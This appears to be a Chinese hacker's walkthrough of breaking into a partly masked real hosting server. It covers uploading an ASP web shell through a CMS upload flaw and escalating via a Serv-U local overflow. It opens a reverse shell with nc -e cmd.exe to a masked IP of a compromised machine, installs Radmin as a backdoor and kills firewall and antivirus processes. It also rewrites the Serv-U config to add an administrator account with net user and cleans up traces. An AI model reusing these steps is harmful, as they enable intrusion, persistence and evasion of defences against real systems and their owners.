本文讲的重点是webshell权限的提升和绕过防火墙,高手勿笑。
废话少说,咱们进入正题。
首先确定一下目标:http://www.sun***.com,常见的虚拟主机。利用Upfile的漏洞相信大家获得webshell不难。我们这次获得这个webshell,不是DVBBS,而是自由动力3.6的软件上传过滤不严。网站http://www.sun***.com/lemon/Index.asp是自由动力3.6文章系统。Xr运用WinHex.exe和WSockExpert.exe上传一个网页木马newmm.asp,用过动鲨的door.exe的人都知道,这个是上传asp木马内容的。于是,上传海洋2005a,成功获得webshell。
测试一下权限,在cmd里运行set,获得主机一些信息,系统盘是D盘,也说明了我们的webshell有运行权限的。那我们看看C盘有什么呢?难道是双系统?浏览后发现没有什么系统文件,只有一些垃圾文件。没关系,再来检查一下,虚拟主机都有serv-u的,这台也不例外,是5.0.0.8的。
思路:上传serv-u本地溢出文件srv.exe和nc.exe利用nc来反连接获得系统shell。大家是不是发现海洋2005a那个上传的组件不好用,没关系,用rain改的一个无组件上传,一共有3个文件,up.htm,upload.asp和uploadclass.asp。upload.asp和uploadclass.asp上传到同一个文件夹,up.htm是本地用的,修改up.htm里的链接地址为:http://www.sun***.com/lemon/upload.asp就可以上传了。
传上了srv.exe和nc.exe在H:longsun***lemon(网站目录)后,发现没有运行权限。没关系,根据经验,一般系统下D:DocumentsandSettingsAllUsers是应该有运行权限的。于是想把文件copy过去,但是发现我们的webshell没有对D盘写的权限。
可以浏览D:programfilesserv-uServUDaemon.ini,不能改,难道要破解serv-u的密码,不想。
不可以这么就泄气了,我突然想到为什么系统不放在C盘了,难道C盘是FAT32分区的?这里说一下,如果主机有win98的系统盘,那里99%是FAT32分区的。我们还遇到过装有Ghost的主机,为了方便在DOS下备份,它的备份盘一般都是FAT分区的。如果系统盘是FAT32分区,则网站就没有什么安全性可言了。虽然C盘不是系统盘,但是我们有执行权限。呵呵,copysrv.exe和nc.exe到c:,运行srv.exe"nc.exe–ecmd.exe202.*.*.*888",这里的202.*.*.*是我们的肉鸡,在这之前我们已经运行了nc–l–p888。
我们成功获得一个系统shell连上。(看起来简单,其实这里我们也遇到过挫折,我们发现有些版本的nc居然没有-e这个参数,还以为全世界nc功能都一样。后来又发现不同版本的nc互连不成功,会出现乱码,没办法用。为此,上传n次,错误n次,傻了n次,后来终于成功了。做黑客还真得有耐心和恒心。)
高兴之余,我们仍不满足,因为这个shell实在是太慢了。于是,想用我们最常用的Radmin,其实管理员一按Alt+Ctrl+Del,看进程就能发现r_server了,但是还是喜欢用它,是因为不会被查杀。好了,上传admdll.dll,raddrv.dll,r_server.exe到H:longsun***lemon,再用刚才nc得到的shell把它们copy到d:winntsystem32下,分别运行:r_server/install,netstartr_server,r_server/pass:rain/save。
一阵漫长的等待,终于显示成功了。兴冲冲用radmin连上去,发现连接失败。呵呵,忘了有防火墙了。上传pslist和pskill上去,发现有backice,木马克星等。Kill掉他们虽然可以登陆,但服务器重启后还是不行,终不是长久之计呀。防火墙是不防21,80等端口的,于是,我们的思路又回到了serv-u上了。把他的ServUDaemon.ini下载下来,覆盖本机的ServUDaemon.ini,在本机的serv-u上添加一个用户名为xr,密码为rain的系统帐号,加上所有权限。再用老办法,上传,用shell写入D:programfilesserv-u里,覆盖掉原来的ServUDaemon.ini。虽然又等了n长时间,但是成功了,于是用flashfxp连上,发生530错误。郁闷,怎么又失败了。(根据经验这样应该就可以了,但为什么不行没有想通,请高手指点。)
不管了,我们重启serv-u就ok了,怎么重启呢,开始想用shutdown重启系统,但那样我们就失去了nc这个shell,还可能被发现。后来,眼睛一亮,我们不是有pskill吗?刚才用pslist发现有这个进程:ServUDaemon。把它kill了。然后再运行D:programfilesserv-uServUAdmin.exe,这里要注意不是ServUDaemon.exe。
好了,到这里,我们直接ftp上去吧,ls一下,哈哈,系统盘在我的掌握下。我们能不能运行系统命令呢?是可以的,这样就可以:
ftp>quotesiteexecnetuserxrrain/add
在webshell上运行netuser,就可以看见添加成功了。
整个入侵渗透到这就结束了,在一阵后清理打扫后。我们就开始讨论了。其实,突破防火墙有很多好的rootkit可以做到的,但是我们觉得系统自带的服务才是最安全的后门。
【Webshell是如何绕过防火墙提升权限的】相关文章: